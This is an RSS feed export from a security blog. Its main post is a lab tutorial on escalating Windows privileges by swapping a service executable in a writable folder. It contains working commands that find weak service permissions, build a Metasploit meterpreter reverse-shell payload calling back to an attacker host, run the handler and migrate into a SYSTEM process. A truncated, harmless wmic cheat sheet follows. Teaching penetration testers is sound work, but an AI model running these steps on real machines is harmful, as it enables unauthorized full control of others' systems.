<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title> &#187; windows</title>
	<atom:link href="http://travisaltman.com/category/windows/feed/" rel="self" type="application/rss+xml" />
	<link>http://travisaltman.com</link>
	<description></description>
	<lastBuildDate>Sat, 24 Mar 2012 04:16:19 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>windows privilege escalation via weak service permissions</title>
		<link>http://travisaltman.com/windows-privilege-escalation-via-weak-service-permissions/</link>
		<comments>http://travisaltman.com/windows-privilege-escalation-via-weak-service-permissions/#comments</comments>
		<pubDate>Sat, 24 Mar 2012 04:16:19 +0000</pubDate>
		<dc:creator>travis</dc:creator>
				<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://travisaltman.com/?p=550</guid>
		<description><![CDATA[When performing security testing on a Windows environment, or any environment for that matter, one of the things you&#8217;ll need to check is if you can escalate your privileges from a low privilege user to a high privileged user. No matter what environment you are testing there are going to be a range or roles [...]]]></description>
			<content:encoded><![CDATA[<p>When performing security testing on a Windows environment, or any environment for that matter, one of the things you&#8217;ll need to check is if you can escalate your privileges from a low privilege user to a high privileged user. No matter what environment you are testing there are going to be a range or roles with varying privileges, for the most part on a local windows environment there going to be three roles / privileged users.</p>
<p>1. System<br />
2. Administrator<br />
3. Regular user</p>
<p>Most people would think administrator has the highest privilege but actually it&#8217;s the system account. A regular user is typically the most limited role which may be so limited that it can&#8217;t even install software. In the previous paragraph I mentioned &#8220;local windows environment&#8221; that&#8217;s because when it comes to a network or <a href="http://en.wikipedia.org/wiki/Active_Directory" target="_blank">active directory</a> environment you have to take other things into consideration. The scenario I&#8217;ll be going over involves a single install of a windows operating system.</p>
<p>So let&#8217;s say you&#8217;re performing  a security test on a system / environment where all you&#8217;re given is a low level privileged account but you want to try and escalate those privileges so that you can get &#8220;system&#8221; level privileges, what do you do? There are a number of routes you can take. <a href="http://www.netspi.com/blog/author/ssutherland/" target="_blank">Scott Sutherland</a> has written a nice article on <a href="http://www.netspi.com/blog/2009/10/05/windows-privilege-escalation-part-1-local-administrator-privileges/" target="_blank">windows privilege escalation</a> and some of the techniques that you can try. Also the guys over at <a href="http://www.insomniasec.com/" target="_blank">insomniasec.com</a> have put together a <a href="https://docs.google.com/viewer?url=http://www.insomniasec.com/publications/WindowsPrivEsc.ppt&amp;pli=1" target="_blank">nice document</a> as well that talks about windows privilege escalation. Last but certainly not least <a href="http://pentestmonkey.net/tools/windows-privesc-check" target="_blank">pentestmonkey has written a python script</a> that will search the system for potential areas of privilege escalation and report back.</p>
<p>Obviously the technique I&#8217;m going to be discussing is leveraging windows services that have low or weak permissions. For those that aren&#8217;t aware a <a href="http://en.wikipedia.org/wiki/Windows_service" target="_blank">windows service</a> is a process that is ran in the background and a regular user would never know that this process is running unless they specifically checked for it, meaning there is no &#8220;window&#8221; or <a href="http://www.linfo.org/gui.html" target="_blank">GUI</a> associated with a service. But a service is just like a process in the fact that it&#8217;s an executable. You can determine all the services on your machine by using the &#8220;wmic&#8221; command.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic service list brief</div></div>
<p>Your output should be similar to below, I&#8217;ve snipped the output for brevity.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">... snip ...<br />
<br />
1077      WMPNetworkSvc                   0          Manual     Stopped  OK<br />
<br />
1077      WPCSvc                          0          Manual     Stopped  OK<br />
<br />
0         WPDBusEnum                      0          Manual     Stopped  OK<br />
<br />
0         wscsvc                          752        Auto       Running  OK<br />
<br />
0         WSearch                         2140       Auto       Running  OK<br />
<br />
0         wuauserv                        856        Auto       Running  OK</div></div>
<p>First column is the exit code, second column is the name of the service, third column is the process ID (PID) of the service, fourth column states how the service is to be started (start mode), fifth column states if the process is running (state), and the last column gives the status of the service itself. You can also right click on your taskbar, same bar as the start menu, then select task manager. Within the task manager you can select the &#8220;services&#8221; tab to see this same information, keep in mind there is no services tab within the task manager for XP for this scenario I&#8217;m using windows 7.</p>
<p><a href="http://travisaltman.com/wp-content/services.png"><img class="aligncenter size-full wp-image-558" title="services" src="http://travisaltman.com/wp-content/services.png" alt="" width="691" height="196" /></a></p>
<p>So now that you know how to determine what services are available and running on a particular machine how can we determine if they have &#8220;weak permissions&#8221;? By weak permissions I mean the folder where the service EXE is allows &#8220;write&#8221; access. Having write access allows me to replace that executable with my malicious executable, start the service and voila I&#8217;ve got access. That&#8217;s it in a nutshell but let&#8217;s walk through the steps to quickly determine which services are vulnerable and how to attack that vulnerable weak service permission.</p>
<p>On a windows machine there can be a ton of services, going through each folder where the service executable is located, right clicking and determining the permission can be a pain in the butt. First thing we&#8217;ll need to do is run a couple of commands to easily pull all the permissions for all the services.</p>
<div class="codecolorer-container dos blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="dos codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><a href="http://www.ss64.com/nt/for.html"><span style="color: #00b100; font-weight: bold;">for</span></a> /f &quot;tokens=2 delims='='&quot; <span style="color: #33cc33;">%</span><span style="color: #448888;">a</span> <a href="http://www.ss64.com/nt/in.html"><span style="color: #00b100; font-weight: bold;">in</span></a> <span style="color: #33cc33;">(</span>'wmic service list full<span style="color: #33cc33;">^|</span>find /i &quot;pathname&quot;<span style="color: #33cc33;">^|</span>find /i /v &quot;system32&quot;'<span style="color: #33cc33;">)</span> <a href="http://www.ss64.com/nt/do.html"><span style="color: #00b100; font-weight: bold;">do</span></a> <span style="color: #33cc33;">@</span><a href="http://www.ss64.com/nt/echo.html"><span style="color: #b1b100; font-weight: bold;">echo</span></a> <span style="color: #33cc33;">%</span><span style="color: #448888;">a</span> <span style="color: #33cc33;">&gt;&gt;</span> c:\windows\temp\permissions.txt</div></div>
<div class="codecolorer-container dos blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="dos codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><a href="http://www.ss64.com/nt/for.html"><span style="color: #00b100; font-weight: bold;">for</span></a> /f eol<span style="color: #33cc33;">^=</span><span style="color: #33cc33;">^&quot;</span><span style="color: #33cc33;">^ </span>delims<span style="color: #33cc33;">^=</span><span style="color: #33cc33;">^&quot;</span> <span style="color: #33cc33;">%</span><span style="color: #448888;">a</span> <a href="http://www.ss64.com/nt/in.html"><span style="color: #00b100; font-weight: bold;">in</span></a> <span style="color: #33cc33;">(</span>c:\windows\temp\permissions.txt<span style="color: #33cc33;">)</span> <a href="http://www.ss64.com/nt/do.html"><span style="color: #00b100; font-weight: bold;">do</span></a> cmd.exe /c icacls &quot;<span style="color: #33cc33;">%</span><span style="color: #448888;">a</span>&quot;</div></div>
<p>The first command uses wmic to list the services, looks for the full path of the executable, filters out system32 paths, and then dumps that output to a text file. The second command parses that text file getting rid of some junk in the path name then does the icacls command on that path to determine the permissions on that service executable. A snippet of the output you&#8217;ll see on the command line is below.</p>
<pre class="brush: plain; title: ; notranslate">
&quot; Users\homer&gt;cmd.exe /c icacls &quot;C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe  BUILTIN\IIS_IUSRS:(I)(RX)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

c:\Users\homer&gt;cmd.exe /c icacls &quot;C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE&quot;
C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE BUILTIN\Users:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
WIN-B5JHUDECH2P\homer:(I)(F)

Successfully processed 1 files; Failed processing 0 files

c:\Users\homer&gt;cmd.exe /c icacls &quot;C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE&quot;
C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files
</pre>
<p>For my particular commands I&#8217;ve excluded service executables that live in c:\windows\system32 folder because more than likely those folders have the proper permissions because they came packaged with windows. The services I&#8217;m more interested in are third party applications because they get installed by a user and either the user improperly configures the folder permissions or during the install the application misconfigures the folder permissions. So this is the main reason why I filter out c:\windows\system32 but if you wanted to include that simply remove the system32 find statement from the command.</p>
<p>The output of the icacls command can be a little confusing but what you want to look for is if &#8220;BUILTIN\Users&#8221; have full access which will be designated as &#8220;(F)&#8221;. If you have full access to the folder where the service executable lives then you can replace the service executable with your own malicious service executable. So when the service starts, either at boot automatically or manually, your malicious executable will run hopefully giving you full access to the device. So my snippet of output actually has a  service with weak permissions which can also be seen on line 17 in the output above.</p>
<div class="codecolorer-container dos blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="dos codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">C:\Users\homer<span style="color: #33cc33;">&gt;</span>cmd.exe /c icacls &quot;C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE&quot;<br />
C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE BUILTIN\Users:<span style="color: #33cc33;">(</span>F<span style="color: #33cc33;">)</span></div></div>
<p>The &#8220;Source Engine&#8221; folder is a standard folder for windows 7 and out of the box has the proper permissions, meaning a regular user will not have write access to that folder. For this demonstration I&#8217;ve manually modified the permissions of the &#8220;Source Engine&#8221; folder to highlight the effect of improper permissions. So now that you&#8217;ve found a folder of a service that allows the write permission it&#8217;s time to insert / upload our malicious executable. The most convenient way I&#8217;ve found is using the <a href="http://www.offensive-security.com/metasploit-unleashed/Msfpayload" target="_blank">msfpayload</a> functionality within metasploit. For the uninitiated and overwhelmed folks that try to deal with metasploit and msfpayload it might just be best to use backtrack. Just grab <a href="http://www.backtrack-linux.org/tutorials/" target="_blank">backtrack</a> which comes with everything installed and ready to go. I&#8217;m not going to go through all of the steps of getting metasploit up and running but if you have any troubles feel free to email me (travisaltman@gmail.com) or post a question in the comments. In backtrack I issue the following commands to create a malicious executable.</p>
<pre class="brush: bash; title: ; notranslate">
root@bt:~# ifconfig eth1
eth1      Link encap:Ethernet  HWaddr 00:0c:29:11:1e:53
inet addr:192.168.134.135  Bcast:192.168.134.255  Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe11:1e53/64 Scope:Link
UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
RX packets:9227 errors:0 dropped:0 overruns:0 frame:0
TX packets:396 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:650604 (650.6 KB)  TX bytes:123409 (123.4 KB)
Interrupt:19 Base address:0x2024

root@bt:~# cd /pentest/exploits/framework
root@bt:/pentest/exploits/framework# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.134.135 lport=80 X &gt; exploit.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: {&quot;LHOST&quot;=&gt;&quot;192.168.134.135&quot;, &quot;lport&quot;=&gt;&quot;80&quot;}
root@bt:/pentest/exploits/framework#
</pre>
<p>The command on line one is simply trying to determine the IP address of our machine (ifconfig command) and line 3 states that our attacking IP address is 192.168.134.135, we&#8217;ll need this information to create our malicious executable. The next command is on line 12 where you change directories (cd) to the location of the msfpayload command. Line 13 is the most important command which is the actual command we use to create our malicious executable. This command creates a meterpreter payload and the lhost and lport are parameters we set when creating the payload. The lhost is from the output of ifconfig and you can specify any port you like, you don&#8217;t have to include lport because by default it&#8217;s 4444. You don&#8217;t need to know details about <a href="http://en.wikibooks.org/wiki/Metasploit/MeterpreterClient" target="_blank">meterpreter</a> for now think of it as a windows command prompt on steroids. Finally we use the &#8220;&gt; exploit.exe&#8221; to create the malicious executable in the current directory.</p>
<p>Now you have to get that exploit.exe over to your target windows machine. I&#8217;ll leave this up to you but if you run the <a href="http://www.linuxjournal.com/content/tech-tip-really-simple-http-server-python" target="_blank">python simple http server</a> in that current directory then all you have to do on the windows machine is open up internet explorer put in the IP address of your attack machine and download exploit.exe. Next put exploit.exe into the folder with the weak permissions in this case C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE. You should now have something like this.</p>
<p><a href="http://travisaltman.com/wp-content/beforeExploit.png"><img class="aligncenter size-full wp-image-601" title="beforeExploit" src="http://travisaltman.com/wp-content/beforeExploit.png" alt="" width="323" height="179" /></a></p>
<p>Next rename the original ose.exe to something different and name exploit.exe to ose.exe</p>
<p><a href="http://travisaltman.com/wp-content/renameExploit.png"><img class="aligncenter size-full wp-image-602" title="renameExploit" src="http://travisaltman.com/wp-content/renameExploit.png" alt="" width="299" height="180" /></a></p>
<p>So now we&#8217;ve replaced the original executable with our malicious executable next we&#8217;ll need to fire up metasploit so that it can accept our connection once we run our new executable. So head over to your Linux box and run the msfconsole command.</p>
<div class="codecolorer-container bash blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666;">root@bt:/pentest/exploits/framework#</span>.<span style="color: #000000; font-weight: bold;">/</span>msfconsole</div></div>
<p>You should now have a &#8220;msf&#8221; console, next run the following commands.</p>
<pre class="brush: bash; title: ; notranslate">
msf &gt; use exploit/multi/handler
msf  exploit(handler) &gt; set payload windows/meterpreter/reverse_tcp
payload =&gt; windows/meterpreter/reverse_tcp
msf  exploit(handler) &gt; set lhost 192.168.134.135
lhost =&gt; 192.168.134.135
msf  exploit(handler) &gt; set lport 80
lport =&gt; 80
msf  exploit(handler) &gt;
</pre>
<p>At this point it&#8217;s always a good idea to do the &#8220;show options&#8221; command to make sure everything is set up correctly.</p>
<pre class="brush: bash; title: ; notranslate">
msf  exploit(handler) &gt; show options

Module options (exploit/multi/handler):

Name  Current Setting  Required  Description
----  ---------------  --------  -----------

Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LHOST     192.168.134.135  yes       The listen address
LPORT     80               yes       The listen port

Exploit target:

Id  Name
--  ----
0   Wildcard Target
</pre>
<p>If everything checks out then you&#8217;re ready to go, now just type &#8220;exploit&#8221;. This will wait until we run the executable on the target machine but when we do it will give us back our meterpreter command prompt.</p>
<pre class="brush: bash; title: ; notranslate">
msf  exploit(handler) &gt; exploit

[*] Started reverse handler on 192.168.134.135:80
[*] Starting the payload handler...
</pre>
<p>Now on the target windows machine we&#8217;ll need to start the service which will run our malicious executable then connect back to our attack machine giving us a command prompt. So run the <a href="http://travisaltman.com/one-liner-commands-for-windows-cheat-sheet/" target="_blank">wmic</a> command below to start the service.</p>
<div class="codecolorer-container dos blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="dos codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">C:\Users\homer<span style="color: #33cc33;">&gt;</span>wmic service ose <a href="http://www.ss64.com/nt/call.html"><span style="color: #00b100; font-weight: bold;">call</span></a> startservice</div></div>
<p>You should see similar output when you run this command.</p>
<div class="codecolorer-container dos blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="dos codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">Executing <span style="color: #33cc33;">(</span>\\WIN-B5JHUDECH2P\ROOT\CIMV2:Win32_Service.Name=&quot;ose&quot;<span style="color: #33cc33;">)</span>-<span style="color: #33cc33;">&gt;</span>startservice<span style="color: #33cc33;">()</span></div></div>
<p>Once you&#8217;ve started the service now it&#8217;s time to hop back over to your metasploit command prompt to see if we get our meterperter command prompt, you should see the following.</p>
<pre class="brush: bash; title: ; notranslate">
[*] Sending stage (752128 bytes) to 192.168.134.134
[*] Meterpreter session 1 opened (192.168.134.135:80 -&gt; 192.168.134.134:49173) at 2012-03-22 23:18:56 -0400

meterpreter &gt;
</pre>
<p>Anytime you get a meterpreter command prompt back that&#8217;s usually a win but wait everything is not as it seems. After about 30 &#8211; 40 seconds I see that my meterpreter session ended.</p>
<div class="codecolorer-container bash blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Meterpreter session <span style="color: #000000;">1</span> closed.  Reason: Died</div></div>
<p>Back on the windows machine there&#8217;s also some output on the command prompt.</p>
<div class="codecolorer-container dos blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="dos codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">Method execution successful.<br />
Out Parameters:<br />
instance of __PARAMETERS<br />
{<br />
ReturnValue = 7;<br />
};</div></div>
<p>The <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa393660(v=vs.85).aspx" target="_blank">return value of 7</a> means that the request timed out. So bummer we got this far had a meterpreter prompt, which gives us lots of post exploitation goodness, but lost everything. Don&#8217;t throw in the towel there is a way around this situation. During those 30 &#8211; 40 seconds that we have the meterpreter command prompt we can migrate to another process. The concept of migrating is exactly what it sounds like, instead of hooking into our ose.exe malicious executable service we can hop to another process that is already running with system privileges. First thing you&#8217;ll want to do is list all the processes running on the windows machine to determine the PID of a process that we can migrate to, once again wmic to the rescue.</p>
<div class="codecolorer-container dos blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="dos codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic process list brief <span style="color: #33cc33;">|</span> find &quot;winlogon&quot;</div></div>
<p>Here you&#8217;ll want to determine the PID of the winlogon.exe process and the fourth column of this output is the PID of the process. Winlogon.exe is a popular executable to migrate to because it&#8217;s always present and runs as the system user. You could easily migrate to another process that runs as system and to determine this you can <a href="http://en.wikipedia.org/wiki/Windows_Task_Manager#Launching_Task_Manager" target="_blank">run the task manager</a> and look for the user that is associated with the process. If at first you don&#8217;t see this make sure to click <a href="http://www.sevenforums.com/system-security/164638-csrss-winlogon.html" target="_blank">&#8220;show process from all users&#8221;</a>. Once you have the PID of the winlogon.exe restart the service by running the wmic service command, ose.exe in this case, then quickly migrate to the winlogon.exe PID within meterpreter. Below is the command within meterpreter to migrate to another process.</p>
<pre class="brush: bash; title: ; notranslate">
meterpreter &gt; migrate 460
[*] Migrating to 460...
[*] Migration completed successfully.
meterpreter &gt;
</pre>
<p>Now we&#8217;ve successfully migrated to a stable process as the system user with a restricted user, this was our ultimate goal. We can determine our current privilege within meterpreter with the following command.</p>
<pre class="brush: bash; title: ; notranslate">
meterpreter &gt; getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter &gt;
</pre>
<p>At this point you have full control of the operating system and you can leverage all the <a href="https://docs.google.com/document/d/1U10isynOpQtrIK6ChuReu-K1WHTJm4fgG3joiuz43rw/edit?hl=en_US&amp;pli=1" target="_blank">post exploitation</a> goodness that you can get your hands on. I don&#8217;t want to go into all the options and features of what to do once you&#8217;ve gained system access to a windows device I&#8217;ll leave that to other folks or a different discussion.</p>
<p>There is one other thing to note about escalating privileges on a windows device. Meterpreter has an option to &#8220;getsystem&#8221; meaning it tries to get system privileges. The getsystem command is only going to work in a handful of scenarios. The two main ways it accomplishes this task is via an unpatched machine or you already have administrative privileges. In the scenario I&#8217;ve described we don&#8217;t have admin privileges and our box is fully patched hence the reason I&#8217;m describing a technique of looking for services with weak permissions. A service that allows full control by a regular user is a misconfiguration so there is no &#8220;patch&#8221; for this scenario where we can get system privileges.</p>
<p>Let&#8217;s take a closer look at the getsystem command, we can do this by simply issuing the command below inside the meterpreter prompt.</p>
<pre class="brush: bash; title: ; notranslate">

meterpreter &gt; getsystem -h
Usage: getsystem [options]

Attempt to elevate your privilege to that of local system.

OPTIONS:

-h        Help Banner.
-t &lt;opt&gt;  The technique to use. (Default to '0').
0 : All techniques available
1 : Service - Named Pipe Impersonation (In Memory/Admin)
2 : Service - Named Pipe Impersonation (Dropper/Admin)
3 : Service - Token Duplication (In Memory/Admin)
4 : Exploit - KiTrap0D (In Memory/User)
</pre>
<p>Options 1-3 all require admin privileges, which we don&#8217;t have, and option 4 will not work if the system is patched for the kitrap0d exploit. Let&#8217;s just verify that the &#8220;getsystem&#8221; command within meterpreter will not work if we don&#8217;t leverage something like a weak service permission. If you still have your meterpreter prompt go ahead and exit out.</p>
<pre class="brush: bash; title: ; notranslate">

meterpreter &gt; exit
[*] Shutting down Meterpreter...

[*] Meterpreter session 2 closed.  Reason: User exit
msf  exploit(handler) &gt;
</pre>
<p>Now instead of launching our malicious executable from the OSE service let&#8217;s execute exploit.exe, that we moved over earlier to our target windows machine, as a regular user. I saved my exploit.exe on the desktop. Before running exploit.exe as a regular user we need to go back to Linux and start our handler.</p>
<pre class="brush: bash; title: ; notranslate">

msf  exploit(handler) &gt; exploit

[*] Started reverse handler on 192.168.134.135:80
[*] Starting the payload handler...
</pre>
<p>Now on our windows target machine let&#8217;s run our exploit.exe</p>
<pre class="brush: plain; title: ; notranslate">

c:\Users\homer\Desktop&gt;exploit.exe

c:\Users\homer\Desktop&gt;
</pre>
<p>Once we run exploit.exe on our windows target machine you should get back a meterpreter prompt back.</p>
<pre class="brush: bash; title: ; notranslate">

[*] Sending stage (752128 bytes) to 192.168.134.134
[*] Meterpreter session 3 opened (192.168.134.135:80 -&gt; 192.168.134.134:49175) at 2012-03-23 00:29:29 -0400

meterpreter &gt;
</pre>
<p>Now let&#8217;s try the &#8220;getsystem&#8221; command and see what happens.</p>
<div class="codecolorer-container bash blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">meterpreter <span style="color: #000000; font-weight: bold;">&gt;</span> getsystem</div></div>
<p>Here it just hangs and doesn&#8217;t do anything, after about a minute it will finally error out giving the following output.</p>
<pre class="brush: bash; title: ; notranslate">

meterpreter &gt; getsystem
[-] Error running command getsystem: Rex::TimeoutError Operation timed out.
meterpreter &gt;
</pre>
<p>So the getsystem command didn&#8217;t work. This is to be expected because the user (homer is our user) that executed our exploit.exe is a regular user and our windows box is up to date with all the latest patches. If we go back to our windows machine we&#8217;ll see the following error message.</p>
<p><a href="http://travisaltman.com/wp-content/ntvdm.png"><img class="aligncenter size-full wp-image-628" title="ntvdm" src="http://travisaltman.com/wp-content/ntvdm.png" alt="" width="496" height="194" /></a></p>
<p>This error is generated because the kitrap0d exploit fails and the exploit fails because the windows box is up to date with all the latest patches. When you don&#8217;t have admin and the windows box is up to date there is only a handful of options to escalate your privileges and testing for weak permissions is one of those avenues. Going from regular user to a system user can be difficult if everything is properly locked down but going from an admin user to the system user is not that big of a deal. The <a href="http://technet.microsoft.com/en-us/sysinternals/bb897553" target="_blank">sysinternals psexec.exe</a> is another powerful tool every pentester should have in his tool bag. Using psexec as an admin user one can easily become the system user with the &#8220;-s&#8221; option so if you wanted a command prompt with system level privileges all you would have to do is run the following command.</p>
<div class="codecolorer-container dos blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="dos codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">c:\psexec.exe -s cmd.exe</div></div>
<p>After this you&#8217;ll be presented with a command prompt with system level privileges. I mention psexec just to show you how easy it is to become the system user as long as you&#8217;re an admin user. The &#8220;-s&#8221; option of psexec would not work as a regular user only an admin user.</p>
<p>To wrap this all up I simply wanted to highlight one way of escalating your privilege on a windows device. This is simply one method to escalate privileges, there are many like it but this is the one I&#8217;m describing. This method is my best friend. It is my life. I must master it as I must master my life. Oh sorry, didn&#8217;t mean to go all <a href="http://rockmanx.wordpress.com/2008/01/09/memorable-quotes-from-full-metal-jacket/" target="_blank">full metal jacket</a> there. So yes this is one technique and tricks like &#8220;getsystem&#8221; within meterpreter are handy but keep in mind their approaches and how they are trying to achieve privilege escalation.</p>
<p>If you have any feedback about this topic please leave comments below and if you have any other interesting ways of escalating privileges I would love to hear about it. If you slugged your way through this entire article congrats and if you see areas where I could improve please help a brother by pointing out areas where I could improve, thanks.</p>
]]></content:encoded>
			<wfw:commentRss>http://travisaltman.com/windows-privilege-escalation-via-weak-service-permissions/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>One liner commands for windows &#8211; cheat sheet</title>
		<link>http://travisaltman.com/one-liner-commands-for-windows-cheat-sheet/</link>
		<comments>http://travisaltman.com/one-liner-commands-for-windows-cheat-sheet/#comments</comments>
		<pubDate>Tue, 04 Oct 2011 02:18:34 +0000</pubDate>
		<dc:creator>travis</dc:creator>
				<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://travisaltman.com/?p=427</guid>
		<description><![CDATA[Remotely determine logged in user
wmic /node:remotecomputer computersystem get username
List running processes
wmic process list brief
Kill a process
wmic process where name=&#34;cmd.exe&#34; delete
Determine open shares
net share
wmic share list brief
Determine IP address
ipconfig
Get a new IP address
ipconfig /release
ipconfig /renew
Remotely display machine&#8217;s MAC address
wmic /node:machinename nic get macaddress
Remotely list running processes every second
wmic /node:machinename process list brief /every:1
Remotely display System Info
wmic [...]]]></description>
			<content:encoded><![CDATA[<p>Remotely determine logged in user</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic /node:remotecomputer computersystem get username</div></div>
<p>List running processes</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic process list brief</div></div>
<p>Kill a process</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic process where name=&quot;cmd.exe&quot; delete</div></div>
<p>Determine open shares</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">net share<br />
wmic share list brief</div></div>
<p>Determine IP address</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">ipconfig</div></div>
<p>Get a new IP address</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">ipconfig /release<br />
ipconfig /renew</div></div>
<p>Remotely display machine&#8217;s MAC address</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic /node:machinename nic get macaddress</div></div>
<p>Remotely list running processes every second</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic /node:machinename process list brief /every:1</div></div>
<p>Remotely display System Info</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic /node:machinename computersystem list full</div></div>
<p>Disk drive information</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic diskdrive list full<br />
wmic partition list full</div></div>
<p>Bios info</p>
